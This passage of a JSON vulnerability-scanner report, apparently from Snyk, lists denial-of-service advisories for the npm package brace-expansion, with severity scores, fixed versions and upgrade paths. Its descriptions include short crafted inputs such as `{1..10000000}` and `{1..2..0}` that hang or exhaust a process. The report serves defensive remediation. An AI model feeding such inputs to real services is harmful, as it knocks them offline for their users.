"libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmversion@8.0.3", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmversion@8.0.4", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": 